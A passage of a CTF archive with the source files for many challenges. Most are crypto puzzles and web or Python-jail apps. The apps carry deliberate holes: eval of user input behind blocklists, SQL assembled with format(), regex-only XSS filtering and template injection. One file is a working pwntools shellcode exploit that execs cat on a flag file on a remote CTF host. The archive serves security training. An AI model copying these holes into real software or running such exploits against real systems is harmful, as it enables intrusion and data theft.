sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2022/web/ASimpleCalculator/app.py | ctfs/UMDCTF/2022/web/ASimpleCalculator/app.py | from flask import Flask, send_from_directory, request, render_template, json
from secrets import flag_enc, ws
app = Flask(__name__, static_url_path='')
def z(f: str):
for w in ws:
if w in f:
raise Exception("nope")
return True
@app.route('/')
def home():
return render_template('index.html')
@app.route('/public/<path:path>')
def send_public(path):
return send_from_directory('public', path)
@app.route('/calc', methods=['POST'])
def calc():
val = 0
try:
z(request.json['f'])
val = f"{int(eval(request.json['f']))}"
except Exception as e:
val = 0
response = app.response_class(
response=json.dumps({'result': val}),
status=200,
mimetype='application/json'
)
return response
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/P.W.N/2018/sandbox_compat/src/sandboxpwn.py | ctfs/P.W.N/2018/sandbox_compat/src/sandboxpwn.py | #!/usr/bin/env python2
from pwn import *
context.clear(arch='i386')
payload = asm(
"""
mov esp, 0xbeeffe00
mov ebp, esp
""" +
shellcraft.pushstr('/bin/cat') +
"""
mov esi, esp
""" +
shellcraft.pushstr('/opt/flag.txt') +
"""
mov edi, esp
""" +
"""
xor edx, edx
push edx
push edi
push esi
mov ecx, esp
mov ebx, esi
mov eax, 11
sysenter
"""
)
r = remote('uni.hctf.fun', 13372)
r.recvuntil('code!\n')
r.send(payload + 'deadbeef')
r.recvuntil("[*] let's go...\n")
r.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2024/pwn/Jail_Shell/jail.py | ctfs/BSidesMumbai/2024/pwn/Jail_Shell/jail.py | #!/usr/bin/python3
import re
import random
code = input("Let's Start: ")
if re.match(r"[a-zA-Z]{4}", code):
print("Code failed, restarting...")
elif len(set(re.findall(r"[\W]", code))) > 4:
print(set(re.findall(r"[\W]", code)))
print("A single code cannot process this much special characters. Restarting.")
else:
discovery = list(eval(compile(code, "<code>", "eval").replace(co_names=())))
random.shuffle(discovery)
print("You compiled it, but are severely overloaded. This is all CPU can hold:", discovery)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2025/crypto/Trixie_Prixie/Trixie_Prixie.py | ctfs/BSidesMumbai/2025/crypto/Trixie_Prixie/Trixie_Prixie.py | import numpy as np
import base64
import sympy
def is_invertible_mod(matrix, mod):
sym_mat = sympy.Matrix(matrix.tolist())
try:
_ = sym_mat.inv_mod(mod)
return True
except:
return False
def generate_valid_matrix(mod=256, size=4):
while True:
mat = np.random.randint(0, 256, size=(size, size))
if is_invertible_mod(mat, mod) and is_invertible_mod(np.rot90(mat), mod):
return mat
def encrypt_message(message, key, block_size=4):
message_bytes = [ord(c) for c in message]
while len(message_bytes) % block_size != 0:
message_bytes.append(0)
encrypted = []
for i in range(0, len(message_bytes), block_size):
block = np.array(message_bytes[i:i+block_size])
enc_block = key @ block % 256
encrypted.extend(enc_block)
return bytes(encrypted)
if __name__ == "__main__":
flag = "BMCTF{REDACTED}"
key = generate_valid_matrix()
fake_key = np.rot90(key)
cipher = encrypt_message(flag, key)
cipher_b64 = base64.b64encode(cipher).decode()
with open("cipher.txt", "w") as f:
f.write(cipher_b64)
np.save("key.npy", fake_key)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2022/crypto/EggLamal/chal.py | ctfs/BSidesMumbai/2022/crypto/EggLamal/chal.py | from params import a, b, p
FLAG = int(open('flag.txt', 'rb').read().hex(), 16)
g = 2
m = FLAG % p
A = pow(g, a, p)
B = pow(g, b, p)
s = pow(A, b, p)
c = s * m % p
print('p =', p)
print('A =', A)
print('B =', B)
print('c =', c)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2022/crypto/PoetXor/chal.py | ctfs/BSidesMumbai/2022/crypto/PoetXor/chal.py | from secrets import token_bytes
from itertools import cycle
FLAG = open("flag.txt", "rb").read().split(b'\n')
wee = token_bytes(8)
cipher = ''
for secret in FLAG:
enc = bytes([ a ^ b for a,b in zip(secret, cycle(wee)) ])
cipher += enc.hex() + '\n'
open("flag.enc", "w").write(cipher) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2022/crypto/ECCSub/chal.py | ctfs/BSidesMumbai/2022/crypto/ECCSub/chal.py | import os
FLAG = open('flag.txt', 'rb').read().strip()
def ECC_encode(x):
y2 = (x**3 + a*x + b) % p
return y2
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
C = [ hex(ECC_encode(int(os.urandom(8).hex() + hex(k)[2:], 16))) for k in FLAG ]
open('flag.enc', 'w').write(str(C))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2022/crypto/ASD-SEA/chal.py | ctfs/BSidesMumbai/2022/crypto/ASD-SEA/chal.py | from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from Crypto.PublicKey import DSA
from Crypto.Cipher import AES
from Crypto.Hash import SHA
import os
def sign(msg):
h = SHA.new(msg).digest()
n = bytes_to_long(h + os.urandom(2))
assert 1 < n < key.q-1
r = pow(key.g,n,key.p) % key.q
s = inverse(n, key.q)*(bytes_to_long(h) + key.x*r) % key.q
return s, r
def verify(msg, s, r):
h = bytes_to_long(SHA.new(msg).digest())
w = inverse(s, key.q)
u1 = h*w % key.q
u2 = r*w % key.q
v = (pow(key.g,u1,key.p)*pow(key.y,u2,key.p) %key.p) % key.q
return v==r
FLAG = open('flag.txt', 'rb').read()
key = DSA.generate(2048)
open("pubkey.pem", "wb").write(key.publickey().export_key())
m = open('msg.txt', 'rb').read()
s, r = sign(m)
isVerified = verify(m,s,r)
print("Signature: (", s, ",", r, ")")
print("Verification Status:", isVerified)
if isVerified:
aesKey = pad(long_to_bytes(key.x), 16)
cipher = AES.new(aesKey, AES.MODE_ECB).encrypt(pad(FLAG,16)).hex()
print("Cipher:", cipher)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2022/crypto/BigRSA/chal.py | ctfs/BSidesMumbai/2022/crypto/BigRSA/chal.py | from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
def keygen(nbit):
p, q = [ getPrime(nbit) for _ in range(2)]
n = p * q
phi = (p-1)*(q-1)
d = getPrime(1 << 8)
e = inverse(d, phi)
key = RSA.construct((n,e,d))
return key
nbit = 512
key = keygen(nbit)
FLAG = open('flag.txt', 'rb').read()
cipher_rsa = PKCS1_v1_5.new(key)
enc = cipher_rsa.encrypt(FLAG)
open('flag.enc', 'w').write( enc.hex() )
open('pubkey.pem', 'wb').write( key.public_key().export_key('PEM') )
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/misc/The_Impossible_Escape/The Impossible Escape.py | ctfs/Srdnlen/2023/misc/The_Impossible_Escape/The Impossible Escape.py | from os import getenv
banner = r"""
#############################################################################
# _____ _ ___ _ _ _ #
# |_ _| |__ ___ |_ _|_ __ ___ _ __ ___ ___ ___(_) |__ | | ___ #
# | | | '_ \ / _ \ | || '_ ` _ \| '_ \ / _ \/ __/ __| | '_ \| |/ _ \ #
# | | | | | | __/ | || | | | | | |_) | (_) \__ \__ \ | |_) | | __/ #
# _|_|_|_| |_|\___| |___|_| |_| |_| .__/ \___/|___/___/_|_.__/|_|\___| #
# | ____|___ ___ __ _ _ __ ___ |_| #
# | _| / __|/ __/ _` | '_ \ / _ \ #
# | |___\__ \ (_| (_| | |_) | __/ (Author: @uNickz) #
# |_____|___/\___\__,_| .__/ \___| #
# |_| #
# #
#############################################################################
"""
class TIE:
def __init__(self) -> None:
print(banner)
self.flag = getenv("FLAG", "srdnlen{REDACTED}")
self.code = self.code_sanitizer(input("Submit your BEST (and perhaps only) Escape Plan: "))
self.delete_flag()
exec(self.code)
def code_sanitizer(self, dirty_code: str) -> str:
if not dirty_code.isascii():
print("Alien material detected... Exiting.")
exit()
banned_letters = ["m", "o", "w", "q", "b", "y", "u", "h", "c", "v", "z", "x", "k", "g"]
banned_symbols = ["}", "{", "[", "]", ":", " ", "&", "`", "'", "-", "+", "\\", ".", "="]
banned_words = ["flag", ]
if any(map(lambda c: c in dirty_code, banned_letters + banned_symbols + banned_words)):
print("Are you trying to cheat me!? Emergency exit in progress.")
exit()
cool_code = dirty_code.replace("\\t", "\t").replace("\\n", "\n")
return cool_code
def delete_flag(self) -> None:
self.flag = "You cant grab me ;)"
print("Too slow... what you were looking for has just been destroyed.")
if __name__ == "__main__":
TIE() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/crypto/BabyOrNot/server.py | ctfs/Srdnlen/2023/crypto/BabyOrNot/server.py | from ecdsa import curves, util, SigningKey, VerifyingKey, BadSignatureError
from hashlib import sha224
from Crypto.Util.number import bytes_to_long
from random import SystemRandom
import os, ast, signal
random = SystemRandom()
sk: SigningKey = SigningKey.generate(curve=curves.NIST224p, hashfunc=sha224)
vk: VerifyingKey = sk.get_verifying_key()
order: int = curves.NIST224p.order
def sign(msg: bytes, true_sign: bytes):
nbits = (order.bit_length() - len(true_sign) * 8) // 2
k = 0
while not (0 < k < order):
k_h, k_l = random.getrandbits(nbits), random.getrandbits(nbits)
k = (k_h * 2**(len(true_sign) * 8) + bytes_to_long(true_sign)) * 2**nbits + k_l
return (msg.hex(), util.sigdecode_string(sk.sign(msg, k=k), order))
def main():
print("How can I trully sign my messages if I use a fully random k?")
msgs = [b"Are you enjoying srdnlen ctf so far?", b"I hope you are and will continue to enjoy it!"]
true_signs = [b"<From the mighty>", b"<For the players>"]
signed_msgs = list(map(sign, msgs, true_signs))
print("Now you can verify that I trully wrote these messages")
print(f"This is my public key: {vk.to_string().hex()}")
for i, signed_msg in enumerate(signed_msgs):
print(f"Signed message number {i + 1}: {signed_msg}")
msg_hex, (r, s) = ast.literal_eval(input("Do you have a signed message for me? "))
msg = bytes.fromhex(msg_hex)
vk.verify(util.sigencode_string(r, s, order), msg)
if msg == b"Could I have the flag?":
print("Certainly, you must be Bob the builder, only you have that signature")
flag = os.getenv("FLAG", r"srdnlen{THIS_IS_FAKE}")
print(flag)
else:
print("I'll see your request later")
def signal_handler(signum, frame):
raise TimeoutError
signal.signal(signal.SIGALRM, signal_handler)
if __name__ == "__main__":
signal.alarm(180)
try:
main()
except BadSignatureError:
print("Are you Mallory!?!")
except TimeoutError:
print("You sleepin'?")
except Exception:
print("Something has gone wrong")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/crypto/MPDH/chall.py | ctfs/Srdnlen/2023/crypto/MPDH/chall.py | from random import SystemRandom
from sympy.ntheory.generate import nextprime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Hash import SHA256
flag = b"srdnlen{????????????????????????????????????????????????????????????????????????????????????}"
n = 32
q = nextprime(int(0x1337**7.331))
random = SystemRandom()
class MPDH:
n = n
q = q
def __init__(self, G=None) -> None:
if G is None:
J = list(range(n))
random.shuffle(J)
self.G = [(j, random.randrange(1, q)) for j in J]
else:
self.G = list(G)
def one(self) -> "list[tuple[int, int]]":
return [(i, 1) for i in range(self.n)]
def mul(self, P1, P2) -> "list[tuple[int, int]]":
return [(j2, p1 * p2 % self.q) for j1, p1 in P1 for i, (j2, p2) in enumerate(P2) if i == j1]
def pow(self, e: int) -> "list[tuple[int, int]]":
if e == 0:
return self.one()
if e == 1:
return self.G
P = self.pow(e // 2)
P = self.mul(P, P)
if e & 1:
P = self.mul(P, self.G)
return P
mpdh = MPDH()
a = random.randrange(1, q - 1)
A = mpdh.pow(a)
b = random.randrange(1, q - 1)
B = mpdh.pow(b)
Ka = MPDH(G=B).pow(a)
Kb = MPDH(G=A).pow(b)
assert Ka == Kb
key = SHA256.new(str(Ka).encode()).digest()[:AES.key_size[-1]]
flag_enc = AES.new(key, AES.MODE_ECB).encrypt(pad(flag, AES.block_size))
assert flag == unpad(AES.new(key, AES.MODE_ECB).decrypt(flag_enc), AES.block_size)
print(f"G = {mpdh.G}")
print(f"{A = }")
print(f"{B = }")
print(f'flag_enc = "{flag_enc.hex()}"')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/crypto/L337tery/server.py | ctfs/Srdnlen/2023/crypto/L337tery/server.py | from random import SystemRandom
from functools import reduce
from operator import __xor__, __and__
import os, signal
random = SystemRandom()
bsum = lambda l: reduce(__xor__, l, 0)
bmul = lambda l: reduce(__and__, l, 1)
class NLFSR:
taps = [0, 1, 2, 3, 7, 11, 13, 29]
filter = [(0, 96, 128, 192, 255), (16, 32, 64, 96, 128, 192, 255), (0, 16, 32, 64, 96, 128, 192, 255), (0, 32, 64, 128), (0, 64, 96, 192, 255), (64, 96, 192, 255), (0, 16, 32, 64, 96, 128, 255), (16, 64, 96, 128, 192, 255), (16, 32, 64, 96, 128), (0, 64, 96, 128, 192, 255), (16, 32, 96, 192), (32, 64, 255), (0, 32, 64, 192, 255), (16, 32, 64, 96, 192, 255), (16, 32, 96, 192, 255), (64, 96, 128, 255), (0, 16, 192, 255), (0, 32, 64, 128, 192), (0, 32, 96, 255), (96, 255), (64, 128, 255), (0, 16, 96, 192), (0, 16, 32, 64, 96), (0, 96, 128, 255), (0, 96, 255), (0, 32, 96, 192, 255), (0, 16, 96), (16, 64, 192, 255), (0, 16, 64, 96, 128, 192, 255), (32, 64, 96, 255), (16, 64, 192), (0, 16), (0, 64, 192, 255), (32, 64, 128, 192), (16, 32, 128, 192), (16, 32, 192), (0, 16, 32), (32, 64, 128, 255), (32, 96, 128, 192, 255), (32, 128, 192, 255), (0, 64), (0, 64, 255), (16, 96, 128, 192, 255), (0, 16, 96, 128, 192, 255), (16, 96, 128, 255), (0, 128, 192, 255), (0, 16, 32, 96, 192, 255), (16, 32, 96, 128, 255), (32, 64, 96, 192, 255), (16, 32, 128), (64, 96, 128, 192), (16, 64, 128), (0, 16, 32, 96), (0, 16, 255), (0, 32, 96, 128, 192), (64, 96), (0, 128), (0, 16, 32, 64, 96, 128), (0, 16, 128, 192), (16, 64, 96, 192), (0, 16, 192), (16, 96, 128), (0, 16, 96, 128, 255), (96, 128), (32, 64, 96, 128), (0, 16, 32, 64, 128, 192, 255), (0, 16, 96, 128), (0, 16, 64, 96, 255), (16, 64, 96, 128), (0,), (32, 64, 128), (0, 32, 64, 96, 128, 192, 255), (16, 64, 128, 192), (32, 96), (0, 96, 192, 255), (0, 96, 128, 192), (0, 32), (16, 128, 255), (96,), (16, 32, 192, 255), (0, 16, 64), (16, 128), (0, 16, 96, 255), (0, 255)]
def __init__(self, state: "list[int]") -> None:
assert len(state) == 256
assert all(x in {0, 1} for x in state)
self.state = state
for _ in range(1337):
self.__clock()
def __clock(self) -> None:
self.state = self.state[1:] + [bsum([self.state[i] for i in self.taps])]
def output(self) -> int:
out = bsum(bmul(self.state[i] for i in mon) for mon in self.filter)
self.__clock()
return out
class L337tery:
p = 0x1337
ndraws = 96
ncoeffs = 196
def __init__(self, state: "list[int]", security_params: "list[list[int]]") -> None:
self.nlfsr = NLFSR(state)
self.security_params = security_params
def __coeffs(self) -> "list[int]":
return [self.nlfsr.output() for _ in range(self.ncoeffs)]
def __draw(self, coeffs: "list[int]", security_param: "list[int]") -> int:
return sum(x * y for x, y in zip(coeffs, security_param)) % self.p
def draws(self) -> "list[int]":
coeffs = self.__coeffs()
draws = [self.__draw(coeffs, security_param) for security_param in self.security_params]
return draws
def get_security_params() -> "list[list[int]]":
p, ndraws, ncoeffs = L337tery.p, L337tery.ndraws, L337tery.ncoeffs
gens = [(random.randrange(1, p), random.randrange(1, p)) for _ in range(ndraws)]
security_params = []
for x, y in gens:
security_param = []
for i, j in zip(range(1, ncoeffs + 1), reversed(range(1, ncoeffs + 1))):
security_param.append(pow(x, i, p) * pow(y, j, p) % p)
security_params.append(security_param)
return security_params
class Server:
welcome = ("Bob the builder JSC is honored to welcome you to our state of the art lottery\n"
"Where the security is guaranteed by our carefully chosen parameters\n"
"We will soon be starting an internal lottery to celebrate the release of L337tery!\n"
"As one of our customers you're invited to partecipate, but first you could also try the trial version of L337tery ^w^")
msg_trial_version = ("In this trial version you can chose the initial state of your L337tery\n"
"Additionaly you can use your security parameters or ones provided by us")
msg_grand_lottery = ("Welcome to our grand lottery, where your dreams could come true!\n"
"If you guess all draws of one round you could even win our grand prize")
def __init__(self) -> None:
self.flag = os.getenv("FLAG", r"srdnlen{THIS_IS_FAKE}")
self.security_params = get_security_params()
self.ntrials = 3
def __trial_version(self) -> None:
print(self.msg_trial_version)
initial_state = list(map(int, input("Give me your initial state: ").split(",")))
choice = input("Do you want to use your security parameters? ")
if "yes" in choice.lower():
security_params = list(map(int, input(f">>> ").split(",")))
else:
security_params = self.security_params
draws = L337tery(initial_state, security_params).draws()
print(f"Behold, the randomness: {', '.join(map(str, draws))}")
def __grand_lottery(self, rounds=7) -> None:
print(self.msg_grand_lottery)
l337tery = L337tery([random.randint(0, 1) for _ in range(256)], self.security_params)
for r in range(rounds):
guess = list(map(int, input(f">>> [{r + 1}/{rounds}]").split(",")))
draws = l337tery.draws()
if guess == draws:
print(f"Impressive, here's the grand prize: {self.flag}")
break
print(f"Unfortunately your guess is wrong. These were the draws: {', '.join(map(str, draws))}")
else:
print("Unlucky, better luck next time")
def handle(self) -> None:
print(self.welcome)
for _ in range(self.ntrials):
choice = input("Are you ready to partecipate to the grand lottery? ")
if "yes" in choice.lower():
break
self.__trial_version()
self.__grand_lottery()
def signal_handler(signum, frame):
raise TimeoutError
signal.signal(signal.SIGALRM, signal_handler)
if __name__ == "__main__":
signal.alarm(180)
try:
Server().handle()
except TimeoutError:
print("Gambling is not for you, you're taking too long")
except Exception:
print("Definitely your fault")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/crypto/RSA/chall.py | ctfs/Srdnlen/2023/crypto/RSA/chall.py | from Crypto.Util.number import getStrongPrime, bytes_to_long
flag = b"srdnlen{?????????????????????????????????????????????}"
nbits = 512
e = 0x10001
r, s, a = [getStrongPrime(nbits, e=e) for _ in range(3)]
rsa = r * s * a
r_s_a = r + s + a
rs_ra_sa = r * s + r * a + s * a
flag_enc = pow(bytes_to_long(flag), e, rsa)
print(f"{flag_enc = }")
print(f"{rsa = }")
print(f"{r_s_a = }")
print(f"{rs_ra_sa = }")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/web/Spongeweb/challenge/app.py | ctfs/Srdnlen/2023/web/Spongeweb/challenge/app.py | from nis import cat
from flask import Flask, render_template, request, redirect, session, flash, url_for, g, abort
import sqlite3
from uuid import uuid4
import os
import re
DATABASE = './database.db'
app = Flask(__name__)
app.secret_key = os.urandom(24)
def init_db():
with app.app_context():
db = get_db()
with app.open_resource('./schema.sql', mode='r') as f:
db.cursor().executescript(f.read())
db.commit()
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.errorhandler(404)
def pageNotFound(error):
return render_template('error.html', error=404)
@app.errorhandler(500)
def pageNotFound(error):
return render_template('error.html', error=500)
@app.route('/', methods=['GET', 'POST'])
def home():
#display approved threads
cur = get_db().execute("SELECT title, thread FROM threads where verified = 1")
threads = cur.fetchall()
cur.close()
return render_template('index.html', threads=threads)
@app.route('/thread', methods=['POST'])
def thread():
if 'title' in request.form and 'thread' in request.form:
title = request.form['title']
thread = request.form['thread']
thread = re.sub(r"<script[\s\S]*?>[\s\S]*?<\/script>", "", thread, flags=re.IGNORECASE)
thread = re.sub(r"<img[\s\S]*?>[\s\S]*?<\/img>", "", thread, flags=re.IGNORECASE)
thread_uuid = str(uuid4())
cur = get_db().cursor()
cur.execute("INSERT INTO threads ( id, title, thread) VALUES ( ?, ?, ?)", (thread_uuid, title, thread))
get_db().commit()
cur.close()
return redirect(url_for('view', id=thread_uuid))
return redirect(url_for('home')) , 400
@app.route('/view', methods=['GET'])
def view():
if 'id' in request.args:
thread_uuid = request.args.get('id')
cur = get_db().execute("SELECT title, thread FROM threads WHERE id = ?", (thread_uuid,))
result = cur.fetchone()
cur.close()
if result:
return render_template('thread.html', thread_uuid=thread_uuid, result=result)
return abort(404)
return redirect(url_for('home')) , 400
''' ADMIN PANEL '''
@app.route('/login', methods=['GET', 'POST'])
def login():
if 'username' in session:
return redirect(url_for('admin'))
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
cur = get_db().execute("SELECT * FROM users WHERE username = ?", (username,))
user = cur.fetchone()
cur.close()
if user and (password.encode('utf-8')== user[2].encode('utf-8')):
session['username'] = user[1]
session['user_id'] = user[0]
return redirect(url_for('admin'))
else:
flash('Invalid login credentials')
return redirect(url_for('login'))
return render_template('login.html')
@app.route('/admin', methods=['GET', 'POST'])
def admin():
if 'username' not in session:
return redirect(url_for('login'))
#view analytics
if 'query' in request.args:
query = request.args.get('query')
try:
cur = get_db().execute("SELECT count(*) FROM {0}".format(query))
except:
return render_template('adminPanel.html') , 500
result = cur.fetchall()
cur.close()
return render_template('adminPanel.html', result=result, param=query)
else:
return render_template('adminPanel.html')
# TODO add 'verify thread' endpoint
@app.route('/logout')
def logout():
session.pop('username', None)
session.pop('user_id', None)
return redirect(url_for('login'))
if __name__ == '__main__':
init_db()
app.run("0.0.0.0", debug=False, port=80) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/web/Sardinian_Dishes/backend/src/app.py | ctfs/Srdnlen/2023/web/Sardinian_Dishes/backend/src/app.py | import sqlite3
from flask import Flask, request, g
DATABASE = './database.db'
app = Flask(__name__)
def init_db():
with app.app_context():
db = get_db()
with app.open_resource('schema.sql', mode='r') as f:
db.cursor().executescript(f.read())
db.commit()
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return "This is for admins only!"
@app.get('/secret')
def secret():
cur = get_db().execute("SELECT details FROM illegalrecipes WHERE name='casu marzu'")
recipe = cur.fetchone()
cur.close()
return str(recipe)
@app.get('/recipe')
def getRecipe():
name = request.args.get('name')
cur = get_db().execute("SELECT details FROM recipes WHERE name=?", (name,))
recipe = cur.fetchone()
cur.close()
return str(recipe)
if __name__ == "__main__":
init_db()
app.run("0.0.0.0")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/web/Sardinian_Dishes/frontend/src/app.py | ctfs/Srdnlen/2023/web/Sardinian_Dishes/frontend/src/app.py | from flask import Flask, make_response, request
import pyratemp
import requests
app = Flask(__name__)
dishes = {
'malloreddus':'Malloreddus, sometimes Italianized as gnocchetti sardi, are a type of pasta typical of Sardinian cuisine.',
'seadas':'Seada is a Sardinian dessert. It is prepared by deep-frying a large semolina dumpling (usually between 8 and 10 cm in diameter) with a filling of soured Pecorino cheese and lemon peel',
'carasau bread': 'Pane carasau is a traditional flatbread from Sardinia. It is called carta da musica in Italian, meaning "sheet music"',
'casu marzu' : 'Casu Marzu is a traditional Sardinian sheep milk cheese that contains live insect larvae.',
}
@app.get("/")
def index():
template = pyratemp.Template(filename="/home/templates/index.html")
return template(dishes=dishes)
@app.route('/recipe')
def get_product():
name = request.args.get('name')
if name == "casu marzu":
resp = make_response("Forbidden - CASU MARZU IS ILLEGAL, YOU CAN'T COOK IT!")
resp.status_code = 403
return resp
else:
res = requests.get(f"http://web-dish-backend:5000/recipe?name={name}")
template = pyratemp.Template(f"The recipe for {name} is at @! res.text !@")
return template(res=res)
@app.route("/suggest", methods=["GET", "POST"])
def suggest():
if request.method == "GET":
template = pyratemp.Template(filename="/home/templates/suggest.html")
return template()
else:
template = pyratemp.Template(f"{request.form['name']} - {request.form['description']}")
return template()
if __name__ == "__main__":
app.run("0.0.0.0")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/web/My_Bidda/app.py | ctfs/Srdnlen/2023/web/My_Bidda/app.py | from flask import Flask, request, make_response
import jinja2
from jinja2 import PackageLoader
import random
import string
import json
import base64
app = Flask(__name__)
class Bidda:
def __init__(self, name, population, image):
self.name = name
self.population = population
self.image = image
def __repr__(self):
return self.name
random_string = ''.join(random.choice(string.ascii_letters) for i in range(10))
env = jinja2.Environment(loader=PackageLoader("app"),
block_start_string='@'+random_string,
block_end_string=random_string+'@',
variable_start_string='!'+random_string,
variable_end_string=random_string+'!')
default_biddas = [Bidda("Sardara", "3902", "https://www.borghiautenticiditalia.it/sites/default/files/Sardara_high.jpg"),
Bidda("Senorbi", "4778", "http://www.acrosstirreno.eu/sites/default/files/turismo/digital_183951_0.jpg"),
Bidda("Baradili", "75", "https://www.vistanet.it/cagliari/wp-content/uploads/sites/2/2017/11/FotoBaradiliComune08-770x480.jpg"),
Bidda("Borore", "1976", "https://www.sardegnaturismo.it/sites/default/files/galleria/005_borore_02_tomba_dei_giganti_imbertighe.jpg"),
Bidda("Domusnovas", "5869", "https://www.arketipomagazine.it/wp-content/uploads/sites/20/2020/04/SanGiovanni_011.jpg")]
for bidda in default_biddas:
env.__dict__[bidda.name] = bidda
def prepareTemplates():
for template in ["index.html", "inspect_bidda.html"]:
with open("/home/templates/"+template, 'rb') as original:
old_template = original.read()
with open("/home/templates/"+template, 'wb') as modified:
new_template = old_template.replace(b"{{", b"!"+random_string.encode())
new_template = new_template.replace(b"}}", random_string.encode()+b"!")
new_template = new_template.replace(b"{%", b"@"+random_string.encode())
new_template = new_template.replace(b"%}", random_string.encode()+b"@")
modified.write(new_template)
@app.get("/")
def index():
return env.get_template("index.html").render(env=env)
@app.route("/send_bidda", methods=["GET", "POST"])
def send_bidda():
if request.method == "GET":
return env.get_template("send_bidda.html").render()
else:
name = request.form.get("name")
population = request.form.get("population")
image = request.form.get("image")
template = f"<h1> { name } </h1> <h2> { population } </h2> <img src=\"{ image }\" />"
biddas = request.cookies.get("biddas")
if biddas:
biddas = json.loads(base64.b64decode(biddas))
biddas.append({"name": name,"population" : population, "image" :image})
else:
biddas = [{"name": name,"population" : population, "image" :image}]
resp = make_response(env.from_string(template).render())
resp.set_cookie("biddas", base64.b64encode(json.dumps(biddas).encode()).decode())
return resp
@app.get("/inspect_bidda")
def inspect_bidda():
name = request.args.get("name")
biddas = request.cookies.get("biddas")
if biddas:
biddas = json.loads(base64.b64decode(biddas))
for bidda in biddas:
